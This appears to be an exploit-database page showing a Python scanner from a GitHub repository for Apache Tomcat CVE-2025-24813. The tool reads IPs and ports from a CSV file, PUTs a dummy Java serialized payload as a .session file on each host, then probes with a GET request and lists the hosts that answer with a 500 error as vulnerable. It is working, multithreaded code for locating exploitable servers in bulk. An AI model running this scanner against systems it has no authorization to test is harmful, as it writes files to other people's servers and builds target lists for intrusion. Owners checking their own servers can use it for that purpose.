Exploit databaseDownload repository ZIP
GH-fa1a573c32efb7f279a3b643fc859a47
mattb709/cve-2025-24813-scanner
Sources for CVE-2025-24813
40 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
mattb709/cve-2025-24813-scannerRevision 6cf2d11180f3
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2025-24813-Scanner.py
Suggested starting filePython · 5,470 bytesimport requests
import argparse
import sys
import pandas as pd
from colorama import init, Fore, Style
import threading
from queue import Queue
import time
# Initialize colorama
init()
# Global variables
print_lock = threading.Lock()
vuln_count = 0
not_vuln_count = 0
vuln_ips = []
stop_flag = False # Flag to signal threads to stop
def banner():
print(f"{Fore.BLUE}[*] Apache Tomcat CVE-2025-24813 Scanner{Style.RESET_ALL}")
def check_vulnerability(target):
global vuln_count, not_vuln_count, vuln_ips, stop_flag
if stop_flag:
return False
# Ensure URL has scheme (http/https)
if not target.startswith(('http://', 'https://')):
target = 'http://' + target
session_id = "test123"
url_put = f"{target}/{session_id}.session"
headers = {"Content-Type": "application/octet-stream"}
dummy_payload = b"\xac\xed\x00\x05sr\x00\x11java.lang.String"
try:
# Test PUT request
with print_lock:
print(f"{Fore.BLUE}[*] Scanning {target}...{Style.RESET_ALL}")
put_resp = requests.put(url_put, headers=headers, data=dummy_payload, timeout=10, verify=False)
if put_resp.status_code not in [200, 201, 204]:
with print_lock:
print(f"{Fore.RED}[-] {target} is not vulnerable (PUT failed: {put_resp.status_code}).{Style.RESET_ALL}")
not_vuln_count += 1
return False
# Test GET request
url_get = f"{target}/index.jsp;jsessionid={session_id}"
get_resp = requests.get(url_get, timeout=10, verify=False)
if get_resp.status_code == 500:
with print_lock:
print(f"{Fore.GREEN}[+] {target} is vulnerable to CVE-2025-24813!{Style.RESET_ALL}")
vuln_count += 1
vuln_ips.append(target)
return True
else:
with print_lock:
print(f"{Fore.YELLOW}[!] {target} allows PUT but no RCE (GET: {get_resp.status_code}).{Style.RESET_ALL}")
not_vuln_count += 1
return False
except requests.exceptions.Timeout:
with print_lock:
print(f"{Fore.YELLOW}[!] Timeout occurred while scanning {target}.{Style.RESET_ALL}")
not_vuln_count += 1
return False
except requests.exceptions.ConnectionError:
with print_lock:
print(f"{Fore.YELLOW}[!] Failed to connect to {target}.{Style.RESET_ALL}")
not_vuln_count += 1
return False
except requests.exceptions.RequestException as e:
with print_lock:
print(f"{Fore.YELLOW}[!] Error scanning {target}: {str(e)}{Style.RESET_ALL}")
not_vuln_count += 1
return False
def worker():
while not stop_flag:
try:
target = q.get(timeout=1) # Timeout to allow KeyboardInterrupt
check_vulnerability(target)
q.task_done()
except Exception:
break # Exit on queue.Empty or stop_flag
def main():
global q, stop_flag
banner()
parser = argparse.ArgumentParser(description="Apache Tomcat CVE-2025-24813 Vulnerability Scanner")
parser.add_argument("-f", "--file", help="CSV file with host, ip, port (e.g., targets.csv)", required=True)
parser.add_argument("-o", "--output", help="Save vulnerable targets to CSV file")
parser.add_argument("-t", "--threads", type=int, default=2, help="Number of threads (default: 2)")
args = parser.parse_args()
try:
df = pd.read_csv(args.file)
except Exception as e:
print(f"{Fore.RED}[!] Error reading CSV file: {e}{Style.RESET_ALL}")
sys.exit(1)
if not all(col in df.columns for col in ['host', 'ip', 'port']):
print(f"{Fore.RED}[!] CSV file must have 'host', 'ip', 'port' columns.{Style.RESET_ALL}")
sys.exit(1)
q = Queue()
# Create worker threads (daemon=True so they exit when main thread dies)
threads = []
for _ in range(args.threads):
t = threading.Thread(target=worker, daemon=True)
t.start()
threads.append(t)
# Add targets to queue
targets = [f"http://{row['ip']}:{row['port']}" for _, row in df.iterrows()]
for target in targets:
q.put(target)
try:
# Wait for queue to empty (with periodic checks for KeyboardInterrupt)
while not q.empty():
time.sleep(0.5) # Check every 0.5 seconds
except KeyboardInterrupt:
print(f"\n{Fore.RED}[!] Ctrl+C detected. Shutting down threads...{Style.RESET_ALL}")
stop_flag = True
for t in threads:
t.join(timeout=1) # Wait for threads to finish (1s timeout)
sys.exit(1)
# Final report
print(f"\n{Fore.BLUE}[*] Scan Complete{Style.RESET_ALL}")
print(f"{Fore.GREEN}[+] Vulnerable: {vuln_count}{Style.RESET_ALL}")
print(f"{Fore.RED}[-] Not Vulnerable: {not_vuln_count}{Style.RESET_ALL}")
if vuln_ips:
print(f"{Fore.GREEN}[+] Vulnerable IPs:{Style.RESET_ALL}")
for ip in vuln_ips:
print(f" {ip}")
if args.output:
pd.DataFrame(vuln_ips, columns=["vulnerable_targets"]).to_csv(args.output, index=False)
print(f"{Fore.BLUE}[*] Saved {len(vuln_ips)} targets to {args.output}{Style.RESET_ALL}")
if __name__ == "__main__":
main()